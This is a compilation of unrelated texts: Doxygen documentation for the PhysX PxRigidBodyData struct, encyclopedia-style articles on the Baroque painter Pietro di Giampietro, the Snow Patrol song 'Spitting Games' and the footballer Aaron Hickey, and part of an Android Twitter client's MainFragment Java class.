<code>#include <<a class="el" href="PxImmediateMode_8h-source.html">PxImmediateMode.h</a>></code>
<p>
<div class="dynheader">
Collaboration diagram for PxRigidBodyData:</div>
<div class="dynsection">
<p><center><img src="structPxRigidBodyData__coll__graph.png" border="0" usemap="#PxRigidBodyData__coll__map" alt="Collaboration graph"></center>
<map name="PxRigidBodyData__coll__map">
<area shape="rect" href="classPxVec3.html" title="3 Element vector class." alt="PxVec3" coords="47,16,100,37"><area shape="rect" href="classPxTransform.html" title="class representing a rigid euclidean transform as a quaternion and a vector" alt="PxTransform" coords="152,115,235,136"><area shape="rect" href="classPxQuat.html" title="This is a quaternion class. For more information on quaternion mathematics consult..." alt="PxQuat" coords="167,16,220,37"></map>
<center><font size="2">[<a target="top" href="graph_legend.html">legend</a>]</font></center></div>
<p>
<a href="structPxRigidBodyData-members.html">List of all members.</a><table border="0" cellpadding="0" cellspacing="0">
<tr><td></td></tr>
<tr><td colspan="2"><br><h2>Public Member Functions</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#8330c5ededefabed26dc861f14a23299">PX_ALIGN</a> (16, <a class="el" href="classPxVec3.html">PxVec3</a> linearVelocity)</td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">12 Linear velocity <a href="#8330c5ededefabed26dc861f14a23299"></a><br></td></tr>
<tr><td colspan="2"><br><h2>Public Attributes</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#4edc039e489d03db2066b993cacf5c8e">invMass</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">16 Inverse mass <a href="#4edc039e489d03db2066b993cacf5c8e"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"><a class="el" href="classPxVec3.html">PxVec3</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#595b23f708d54d34a433f58e9e53da99">angularVelocity</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">28 Angular velocity <a href="#595b23f708d54d34a433f58e9e53da99"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#2e1756608c49188883e670d0318dcc06">maxDepenetrationVelocity</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">32 Maximum de-penetration velocity <a href="#2e1756608c49188883e670d0318dcc06"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"><a class="el" href="classPxVec3.html">PxVec3</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#dbfbf35988384b74c8c9fa4280a7c45b">invInertia</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">44 Mass-space inverse interia diagonal vector <a href="#dbfbf35988384b74c8c9fa4280a7c45b"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#660b46913c44f1c050e2e1559c45ddd1">maxContactImpulse</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">48 Maximum permissable contact impulse <a href="#660b46913c44f1c050e2e1559c45ddd1"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"><a class="el" href="classPxTransform.html">PxTransform</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#99ed9fc3a0742e76ee3410c5e3ef72fc">body2World</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">76 World space transform <a href="#99ed9fc3a0742e76ee3410c5e3ef72fc"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#8623352bac79ed126892a104e1aab68d">linearDamping</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">80 Linear damping coefficient <a href="#8623352bac79ed126892a104e1aab68d"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#94c9d8403adad700ceeffa7005991d7e">angularDamping</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">84 Angular damping coefficient <a href="#94c9d8403adad700ceeffa7005991d7e"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#fe4e0a693288590b7ce8383bc3e2cd79">maxLinearVelocitySq</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">88 Squared maximum linear velocity <a href="#fe4e0a693288590b7ce8383bc3e2cd79"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">PxReal </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#a523e1704f34568a599f4744f0b6cbbc">maxAngularVelocitySq</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">92 Squared maximum angular velocity <a href="#a523e1704f34568a599f4744f0b6cbbc"></a><br></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"><a class="el" href="group__foundation.html#gcce5749db3dcfb916e98c253374264ed">PxU32</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="structPxRigidBodyData.html#1bb93cacad36fcc17492afe83718f8c7">pad</a></td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">96 Padding for 16-byte alignment <a href="#1bb93cacad36fcc17492afe83718f8c7"></a><br></td></tr>
</table>
<hr><a name="_details"></a><h2>Detailed Description</h2>
Structure to store rigid body properties. <hr><h2>Member Function Documentation</h2>
<a class="anchor" name="8330c5ededefabed26dc861f14a23299"></a><!-- doxytag: member="PxRigidBodyData::PX_ALIGN" ref="8330c5ededefabed26dc861f14a23299" args="(16, PxVec3 linearVelocity)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxRigidBodyData::PX_ALIGN </td>
<td>(</td>
<td class="paramtype">16 </td>
<td class="paramname">, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="classPxVec3.html">PxVec3</a> </td>
<td class="paramname"> <em>linearVelocity</em></td><td> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td></td><td></td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
12 Linear velocity
<p>
</div>
</div><p>
<hr><h2>Member Data Documentation</h2>
<a class="anchor" name="94c9d8403adad700ceeffa7005991d7e"></a><!-- doxytag: member="PxRigidBodyData::angularDamping" ref="94c9d8403adad700ceeffa7005991d7e" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#94c9d8403adad700ceeffa7005991d7e">PxRigidBodyData::angularDamping</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
84 Angular damping coefficient
<p>
</div>
</div><p>
<a class="anchor" name="595b23f708d54d34a433f58e9e53da99"></a><!-- doxytag: member="PxRigidBodyData::angularVelocity" ref="595b23f708d54d34a433f58e9e53da99" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classPxVec3.html">PxVec3</a> <a class="el" href="structPxRigidBodyData.html#595b23f708d54d34a433f58e9e53da99">PxRigidBodyData::angularVelocity</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
28 Angular velocity
<p>
</div>
</div><p>
<a class="anchor" name="99ed9fc3a0742e76ee3410c5e3ef72fc"></a><!-- doxytag: member="PxRigidBodyData::body2World" ref="99ed9fc3a0742e76ee3410c5e3ef72fc" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classPxTransform.html">PxTransform</a> <a class="el" href="structPxRigidBodyData.html#99ed9fc3a0742e76ee3410c5e3ef72fc">PxRigidBodyData::body2World</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
76 World space transform
<p>
</div>
</div><p>
<a class="anchor" name="dbfbf35988384b74c8c9fa4280a7c45b"></a><!-- doxytag: member="PxRigidBodyData::invInertia" ref="dbfbf35988384b74c8c9fa4280a7c45b" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classPxVec3.html">PxVec3</a> <a class="el" href="structPxRigidBodyData.html#dbfbf35988384b74c8c9fa4280a7c45b">PxRigidBodyData::invInertia</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
44 Mass-space inverse interia diagonal vector
<p>
</div>
</div><p>
<a class="anchor" name="4edc039e489d03db2066b993cacf5c8e"></a><!-- doxytag: member="PxRigidBodyData::invMass" ref="4edc039e489d03db2066b993cacf5c8e" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#4edc039e489d03db2066b993cacf5c8e">PxRigidBodyData::invMass</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
16 Inverse mass
<p>
</div>
</div><p>
<a class="anchor" name="8623352bac79ed126892a104e1aab68d"></a><!-- doxytag: member="PxRigidBodyData::linearDamping" ref="8623352bac79ed126892a104e1aab68d" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#8623352bac79ed126892a104e1aab68d">PxRigidBodyData::linearDamping</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
80 Linear damping coefficient
<p>
</div>
</div><p>
<a class="anchor" name="a523e1704f34568a599f4744f0b6cbbc"></a><!-- doxytag: member="PxRigidBodyData::maxAngularVelocitySq" ref="a523e1704f34568a599f4744f0b6cbbc" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#a523e1704f34568a599f4744f0b6cbbc">PxRigidBodyData::maxAngularVelocitySq</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
92 Squared maximum angular velocity
<p>
</div>
</div><p>
<a class="anchor" name="660b46913c44f1c050e2e1559c45ddd1"></a><!-- doxytag: member="PxRigidBodyData::maxContactImpulse" ref="660b46913c44f1c050e2e1559c45ddd1" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#660b46913c44f1c050e2e1559c45ddd1">PxRigidBodyData::maxContactImpulse</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
48 Maximum permissable contact impulse
<p>
</div>
</div><p>
<a class="anchor" name="2e1756608c49188883e670d0318dcc06"></a><!-- doxytag: member="PxRigidBodyData::maxDepenetrationVelocity" ref="2e1756608c49188883e670d0318dcc06" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#2e1756608c49188883e670d0318dcc06">PxRigidBodyData::maxDepenetrationVelocity</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
32 Maximum de-penetration velocity
<p>
</div>
</div><p>
<a class="anchor" name="fe4e0a693288590b7ce8383bc3e2cd79"></a><!-- doxytag: member="PxRigidBodyData::maxLinearVelocitySq" ref="fe4e0a693288590b7ce8383bc3e2cd79" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">PxReal <a class="el" href="structPxRigidBodyData.html#fe4e0a693288590b7ce8383bc3e2cd79">PxRigidBodyData::maxLinearVelocitySq</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
88 Squared maximum linear velocity
<p>
</div>
</div><p>
<a class="anchor" name="1bb93cacad36fcc17492afe83718f8c7"></a><!-- doxytag: member="PxRigidBodyData::pad" ref="1bb93cacad36fcc17492afe83718f8c7" args="" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="group__foundation.html#gcce5749db3dcfb916e98c253374264ed">PxU32</a> <a class="el" href="structPxRigidBodyData.html#1bb93cacad36fcc17492afe83718f8c7">PxRigidBodyData::pad</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>
96 Padding for 16-byte alignment
<p>
</div>
</div><p>
<hr>The documentation for this struct was generated from the following file:<ul>
<li><a class="el" href="PxImmediateMode_8h-source.html">PxImmediateMode.h</a></ul>
</div>
<hr style="width: 100%; height: 2px;"><br>
</body>
</html>
```
|
Pietro di Giampietro (born 1709 – active after 1750) was an Italian painter of the late-Baroque period in Basilicata.
He was born in Brienza. His older brother, Leonardo, was also a painter. Pietro is known for his fresco decoration (1743–1744) of the church of San Francesco in San Martino d'Agri. His brother painted a Deposition once found in the former convent dell'Annunziata in Brienza, as well as frescoes in the church of Santa Maria degli Angeli in that town. Pietro painted frescoes in the convent dell'Annunziata (1740) in Brienza. He also painted a Life of St Joseph and Christ (1750) for the chiesa di San Giuseppe, Brienza. In the parish church of Laurenzana he painted a polyptych mural and decorated the ceiling with Evangelists and Doctors of the Church. In Cirigliano, in the Formica Chapel, he painted a Via Crucis.
References
18th-century Italian painters
Italian male painters
1709 births
Year of death unknown
Italian Baroque painters
18th-century Italian male artists
|
"Spitting Games" is the lead single from Snow Patrol's third album, Final Straw, released on 15 September 2003.
Original release
Snow Patrol released the song during their first UK Tour during the Final Straw Tour. To mark the release, the band made a previously unheard song for a free download on their official site, titled "Half the Fun of It".
Snow Patrol were one of the acts chosen in AOL Music's "Breakers" in December 2003, a program to promote bands for months leading up to the release of their respective albums in the United States. During the time of the band's promotion, lead UK single "Spitting Games" was downloaded a million times, and was released as a stand-alone single in March 2004 in the week of the band's appearance at South by Southwest Festival.
Track listings
CD
"Spitting Games" – 3:48
"Steal" – 2:44
"Brave" – 4:12
"Spitting Games" (Video)
7" vinyl
"Spitting Games" – 3:48
"Steal" – 2:44
Reception
Music Week reviewed the single positively, calling it a classic indie song. It praised the "British chugging guitar" and "bittersweet melodies". IrishCentral called the song an alternative rock "masterpiece" and said it had made the band "cool".
Yahoo! Music's Simon Ward reviewed the single positively, awarding it 7 stars out of 10, though he criticized the song for being "an indie anthem of the kind Ash used to make ten years ago." He praised the song's "nagging 'do-doo harmonies and driving guitars" though said that it wasn't "going to rewrite rock history." He still felt "it's competent indie-pop that will doubtless signal skies full of water and bouncing moshpits at the rest of the summer's festivals. Which is, frankly, all that's asked of it."
Re-release
"Spitting Games" was re-released on 12 July 2004, on both E-CD and 7" formats. The enhanced CD featured a cover of Beyoncé's "Crazy in Love", which was first performed on Zane Lowe's BBC Radio 1 show and another cover of Will Oldham's "New Partner", again from a Radio 1 Session for Steve Lamacq in 2002. The song made the A lists of BBC Radio 1, BBC Radio 2 and 95.8 Capital FM radio station of London. Due to heavy airplay by the radio stations, the single peaked at number six on the UK Airplay Chart. It helped the album Final Straws sales, which reached number five, its highest chart placing after 23 weeks. The re-release of "Spitting Games" was the band's first charting single in the United States, and peaked at number 39 on the Billboard Hot Modern Rock Tracks chart on June 5, 2004.
Track listings
CD
"Spitting Games" - 3:48
"Crazy In Love" (BBC Live Version) - 4:25
"New Partner" (BBC Live Version) - 4:05
"Spitting Games" (Video version 2)
7" vinyl
"Spitting Games" - 3:48
"Wow (Acoustic)" - 3:09
Promo CD
"Spitting Games (AAA Mix)" - 3:28
Charts
In popular culture
It was featured on the video game MVP Baseball 2004 and numerous Club Football 2005 titles. The track was also featured in "Everything Changes", the first episode of the Doctor Who spin-off Torchwood, and later in the episode "Greeks Bearing Gifts", in 2006. It was featured on an episode of the second season of the teen drama One Tree Hill and in the movie Boy Eats Girl.
References
External links
2003 singles
2004 singles
Snow Patrol songs
Song recordings produced by Jacknife Lee
Songs written by Gary Lightbody
2003 songs
Songs written by Nathan Connolly
Songs written by Jonny Quinn
Songs written by Mark McClelland
|
Aaron Buchanan Hickey (born 10 June 2002) is a Scottish professional footballer who plays as a full-back for Premier League club Brentford and the Scotland national team.
Hickey played youth football for Heart of Midlothian and Celtic, before returning to Hearts where he made his senior debut in 2019. After two seasons in Italy with Bologna, he signed for English club Brentford in 2022.
Hickey represented Scotland at under-17 youth level, before making his senior international debut in 2022.
Club career
Early career
After spending time in the youth system at Heart of Midlothian, Hickey had a spell with the academy teams at Celtic. After four years at Celtic he chose to return to Hearts in 2018, with Celtic receiving 30% of a future transfer fee.
Hearts
On 10 May 2019, Hickey made his debut for the club in a 2–1 loss away to Aberdeen, in the penultimate game of the 2018–19 season. On 25 May 2019, Hickey started in the 2019 Scottish Cup Final against Celtic, becoming the youngest player to appear in the final since John Fleck in 2008.
On 22 September 2019, he scored his first senior goal, the winner in the Edinburgh derby as Hearts won 2–1 away at Hibernian.
In August 2020 he was linked with a transfer away from the club, with interest from German club Bayern Munich, Italian club Bologna, English club Aston Villa, and French club Lyon. Hearts manager Craig Levein also revealed that Celtic had made "five or six" attempts to sign Hickey. Towards the end of the month the BBC reported that Bologna had made the first official bid for Hickey, although Hearts said that the offer was too low.
Bologna
Bologna made an updated offer for Hickey, which was accepted by Hearts on 8 September 2020. On 24 September 2020, Hickey completed a moved to the Serie A side for an undisclosed fee believed to be around £1.5 million. He said he chose Bologna over Bayern due to the Italian club's family feel, and their intention to use him in their first-team. Due to the suspension of regular left-back Mitchell Dijks, Hickey made his first Serie A appearance on 28 September in a 4–1 win against Parma. His first season at Bologna was cut short by injury in March 2021, restricting him to 12 appearances. At the end of the season, he was nominated for the 2021 Golden Boy award.
Hickey returned to Bologna's first team following his injury, starting the first game of the 2021–22 season against Salernitana, which Bologna won 3–2.
On 21 September 2021, Hickey scored his first goal for Bologna, in their 2–2 draw with Genoa in the Serie A. In November 2021 he was described as "flourishing in Serie A with Bologna". On 24 April 2022, Hickey became the first Scot to score 5 goals in a single Serie A season since Graeme Souness in 1984–85 for Sampdoria.
Brentford
Bologna accepted an offer for Hickey from Premier League club Brentford in July 2022. On 9 July 2022, Brentford announced that they had signed Hickey on a four-year contract, subject to international clearance. Hickey regularly played on the right side of defence for Brentford during the 2022–23 season, although he missed a few months due to suffering an ankle ligament injury in October.
International career
Hickey has represented Scotland U17, making his debut for the side in a 0–0 draw against France U17 on 5 February 2019.
He was selected in the Scotland U21 squad for the first time in November 2020, but withdrew due to injury. He was recalled in September 2021, but pulled out from that squad due to another injury. He then also withdrew from the following squad, saying he wanted to rest.
In March 2022, after being left out of the under-21 squad, Hickey was included in the senior Scotland squad for the first time. He made his senior international debut on 24 March in a 1–1 draw with Poland.
Style of play
Hickey primarily played for Hearts as a left-back, although he can also play as a central midfielder, and also right-back and centre-back, and his "versatility is yet another key attribute".
Hickey has been compared to fellow Scottish left-back Andy Robertson, although Hickey has played down the links. He mainly played for Bologna as an attacking left wing-back, and scored five goals during the 2021–22 Serie A season. Brentford have used him as either a right-back or right wing-back, Most of his appearances for Scotland have also been as a right-back or right wing-back.
Former Hearts manager Craig Levein described Hickey by saying that "he's got really good defensive qualities but I don't know if he'll end up being a full-back, he might end up going back into midfield [...] he could be a fantastic holding midfielder with his great awareness of danger and his ability to get out of tight situations with the ball at his feet". Levein has also said that Hickey is shy, quiet, and reserved. Hearts captain Steven Naismith praised Hickey's intelligence, while Hearts head coach Robbie Neilson praised his maturity, saying that "he's like a 24- or 25-year-old in an 18-year-old's body [...] he's very mature for his age, he's composed, has good physique, ticks all the boxes".
Personal life
On 13 December 2020, he tested positive for COVID-19.
Career statistics
Club
International
References
2002 births
Living people
Scottish men's footballers
Men's association football fullbacks
Men's association football midfielders
Heart of Midlothian F.C. players
Celtic F.C. players
Bologna FC 1909 players
Brentford F.C. players
Scottish Professional Football League players
Serie A players
Premier League players
Scotland men's youth international footballers
Scotland men's international footballers
Scottish expatriate men's footballers
Expatriate men's footballers in Italy
Scottish expatriate sportspeople in Italy
|
```java
package com.klinker.android.twitter_l.activities.main_fragments;
import android.animation.ObjectAnimator;
import android.app.Activity;
import android.app.Fragment;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.res.Configuration;
import android.content.res.TypedArray;
import android.graphics.Point;
import android.graphics.PorterDuff;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import androidx.appcompat.app.AppCompatActivity;
import android.util.TypedValue;
import android.view.Display;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.*;
import com.klinker.android.twitter_l.R;
import com.klinker.android.twitter_l.adapters.TimeLineCursorAdapter;
import com.klinker.android.twitter_l.views.widgets.swipe_refresh_layout.material.MaterialSwipeRefreshLayout;
import com.klinker.android.twitter_l.settings.AppSettings;
import com.klinker.android.twitter_l.activities.MainActivity;
import com.klinker.android.twitter_l.activities.drawer_activities.DrawerActivity;
import com.klinker.android.twitter_l.utils.Expandable;
import com.klinker.android.twitter_l.utils.ExpansionViewHelper;
import com.klinker.android.twitter_l.utils.PixelScrollDetector;
import com.klinker.android.twitter_l.utils.Utils;
import twitter4j.Twitter;
public abstract class MainFragment extends Fragment implements Expandable {
protected Twitter twitter;
protected ListView listView;
protected TimeLineCursorAdapter cursorAdapter;
protected View toastBar;
protected TextView toastDescription;
protected TextView toastButton;
protected MaterialSwipeRefreshLayout refreshLayout;
protected LinearLayout spinner;
protected LinearLayout noContent;
protected SharedPreferences sharedPrefs;
protected Activity context;
protected androidx.appcompat.app.ActionBar actionBar;
protected int mActionBarSize;
protected int currentAccount;
protected boolean landscape;
protected boolean isToastShowing = false;
protected boolean infoBar = false;
protected String fromTop;
protected String jumpToTop;
protected String toMentions;
protected String allRead;
protected boolean isHome = false;
protected View.OnClickListener toTopListener = new View.OnClickListener() {
@Override
public void onClick(View view) {
toTop();
if (!settings.staticUi) {
hideToastBar(300);
}
}
};
private int thisFragmentNumber = -2;
public BroadcastReceiver jumpTopReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getIntExtra("fragment_number", -1) == thisFragmentNumber)
toTop();
}
};
public BroadcastReceiver showToast = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getIntExtra("fragment_number", -1) == thisFragmentNumber){
overrideSnackbarSetting = true;
showToastBar(listView.getFirstVisiblePosition() + " " + fromTop, jumpToTop, 300, true, toTopListener);
}
}
};
public BroadcastReceiver hideToast = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
//hideToastBar(300);
}
};
public AppSettings settings;
public void setAppSettings() {
settings = AppSettings.getInstance(context);
}
public void applyAdapter() {
listView.setAdapter(cursorAdapter);
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
playCurrentVideos();
}
}, 400);
}
@Override
public void onResume() {
super.onResume();
IntentFilter filter = new IntentFilter();
filter.addAction("com.klinker.android.twitter.TOP_TIMELINE");
context.registerReceiver(jumpTopReceiver, filter);
filter = new IntentFilter();
filter.addAction("com.klinker.android.twitter.SHOW_TOAST");
context.registerReceiver(showToast, filter);
filter = new IntentFilter();
filter.addAction("com.klinker.android.twitter.HIDE_TOAST");
context.registerReceiver(hideToast, filter);
if (cursorAdapter != null) {
cursorAdapter.activityPaused(false);
}
playCurrentVideos();
if (sharedPrefs.getBoolean("just_muted", false)) {
sharedPrefs.edit().putBoolean("just_muted", false).commit();
getCursorAdapter(false);
}
}
public void resetVideoHandler() {
if (cursorAdapter != null) {
cursorAdapter.resetVideoHandler();
}
}
@Override
public void onPause() {
context.unregisterReceiver(jumpTopReceiver);
context.unregisterReceiver(showToast);
context.unregisterReceiver(hideToast);
if (cursorAdapter != null) {
cursorAdapter.activityPaused(true);
}
stopCurrentVideos();
super.onPause();
}
public void playCurrentVideos() {
if (MainActivity.mViewPager.getCurrentItem() == thisFragmentNumber) {
try {
cursorAdapter.playCurrentVideo();
} catch (Exception e) {
}
}
}
public void stopCurrentVideos() {
try {
cursorAdapter.stopOnScroll();
} catch (Exception e) {
}
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
context = activity;
actionBar = ((AppCompatActivity)context).getSupportActionBar();
}
@Override
public void onDestroy() {
try {
cursorAdapter.getCursor().close();
} catch (Exception e) {
}
super.onDestroy();
}
public void setHome() {
isHome = false;
}
public View getLayout(LayoutInflater inflater) {
return inflater.inflate(R.layout.main_fragments, null);
}
public int getCurrentAccount() {
return sharedPrefs.getInt("current_account", 1);
}
public View layout;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
super.onCreateView(inflater, container, savedInstanceState);
thisFragmentNumber = getArguments().getInt("fragment_number", -2);
sharedPrefs = AppSettings.getSharedPreferences(context);
setAppSettings();
setHome();
landscape = getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE;
currentAccount = getCurrentAccount();
SharedPreferences.Editor e = sharedPrefs.edit();
e.putInt("dm_unread_" + sharedPrefs.getInt("current_account", 1), 0);
e.putBoolean("refresh_me", false);
e.apply();
getStrings();
try {
final TypedArray styledAttributes = context.getTheme().obtainStyledAttributes(
new int[] { android.R.attr.actionBarSize });
mActionBarSize = (int) styledAttributes.getDimension(0, 0);
styledAttributes.recycle();
} catch (Exception x) {
// a default just in case i guess...
mActionBarSize = toDP(48);
}
layout = getLayout(inflater);
setViews(layout);
setBuilder();
if (isHome) {
getCursorAdapter(true);
} else {
// delay it a tiny bit so that the main fragment has priority
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
getCursorAdapter(true);
}
}, 500);
}
setUpListScroll();
setUpToastBar(layout);
return layout;
}
public boolean isLauncher() {
return false;
}
public void getStrings() {
fromTop = getResources().getString(R.string.tweets);
jumpToTop = getResources().getString(R.string.to_top);
allRead = getResources().getString(R.string.all_read);
toMentions = getResources().getString(R.string.mentions);
}
protected void setSpinner(View layout) {
spinner = (LinearLayout) layout.findViewById(R.id.spinner);
}
protected void setNoContent(View layout) {
noContent = (LinearLayout) layout.findViewById(R.id.no_content);
if (noContent == null) {
return;
}
ImageView noActivityPic = (ImageView) noContent.findViewById(R.id.picture);
noActivityPic.getDrawable().setColorFilter(settings.themeColors.primaryColor, PorterDuff.Mode.MULTIPLY);
TextView noContentTitle = (TextView) noContent.findViewById(R.id.no_content_title);
noContentTitle.setText(getNoContentTitle());
TextView noContentSummary = (TextView) noContent.findViewById(R.id.no_content_summary);
noContentSummary.setText(getNoContentSummary());
}
protected String getNoContentTitle() {
return getString(R.string.no_content_home);
}
protected String getNoContentSummary() {
return getString(R.string.no_content_home_summary);
}
private View rootLayout;
public void setViews(View layout) {
rootLayout = layout;
listView = (ListView) layout.findViewById(R.id.listView);
setSpinner(layout);
setNoContent(layout);
refreshLayout = (MaterialSwipeRefreshLayout) layout.findViewById(R.id.swipe_refresh_layout);
refreshLayout.setOnRefreshListener(new MaterialSwipeRefreshLayout.OnRefreshListener() {
@Override
public void onRefresh() {
onRefreshStarted();
}
});
int size = Utils.getActionBarHeight(context) + (MainActivity.isPopup ? 0 : Utils.getStatusBarHeight(context));
refreshLayout.setProgressViewOffset(false, 0, size + toDP(25));
refreshLayout.setColorSchemeColors(settings.themeColors.accentColor, settings.themeColors.primaryColor);
refreshLayout.setBarVisibilityWatcher((MainActivity) getActivity());
setUpHeaders();
}
@Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
setMoveActionBar();
}
private void setMoveActionBar() {
//boolean isTablet = getResources().getBoolean(R.bool.isTablet);
//if (isTablet) {
//moveActionBar = false;
//} else {
//moveActionBar = true;
//}
moveActionBar = !AppSettings.dualPanels(context);
}
boolean moveActionBar = true;
public void setUpListScroll() {
setMoveActionBar();
listView.setOnScrollListener(new PixelScrollDetector(new PixelScrollDetector.PixelScrollListener() {
@Override
public void onScrollStateChanged(final AbsListView absListView, final int i) {
if (cursorAdapter != null) {
if (i == AbsListView.OnScrollListener.SCROLL_STATE_IDLE) {
playCurrentVideos();
} else {
try {
cursorAdapter.stopOnScroll(listView.getFirstVisiblePosition(), listView.getLastVisiblePosition());
} catch (Exception e) {
}
}
}
}
@Override
public void onScroll(AbsListView view, float deltaY) {
//Log.v("pixel_scrolling", "deltaY: " + deltaY);
// negative deltaY is when we are scrolling down
if (settings.staticUi) {
if (settings.useSnackbar) {
showToastBar(listView.getFirstVisiblePosition() + " " + fromTop, jumpToTop, 300, false, toTopListener);
}
return;
}
if (listView.getFirstVisiblePosition() < 2) {
scrollDown();
hideToastBar(300);
return;
}
if (Math.abs(deltaY) > 20) {
if (settings.topDown) {
if (deltaY < 0) {
scrollUp();
} else {
scrollDown();
}
} else {
if (deltaY < 0) {
scrollDown();
} else {
scrollUp();
}
}
}
}
}));
}
public void setUpHeaders() {
View viewHeader = context.getLayoutInflater().inflate(R.layout.ab_header, null);
listView.addHeaderView(viewHeader, null, false);
listView.setHeaderDividersEnabled(false);
if (settings.revampedTweets()) {
listView.setDivider(null);
}
if (DrawerActivity.translucent) {
if (Utils.hasNavBar(context)) {
View footer = new View(context);
footer.setOnClickListener(null);
footer.setOnLongClickListener(null);
ListView.LayoutParams params = new ListView.LayoutParams(ListView.LayoutParams.MATCH_PARENT, Utils.getNavBarHeight(context));
footer.setLayoutParams(params);
listView.addFooterView(footer);
listView.setFooterDividersEnabled(false);
}
if (!MainActivity.isPopup) {
View view = new View(context);
view.setOnClickListener(null);
view.setOnLongClickListener(null);
ListView.LayoutParams params2 = new ListView.LayoutParams(ListView.LayoutParams.MATCH_PARENT,
Utils.getStatusBarHeight(context));
view.setLayoutParams(params2);
listView.addHeaderView(view);
listView.setHeaderDividersEnabled(false);
}
}
}
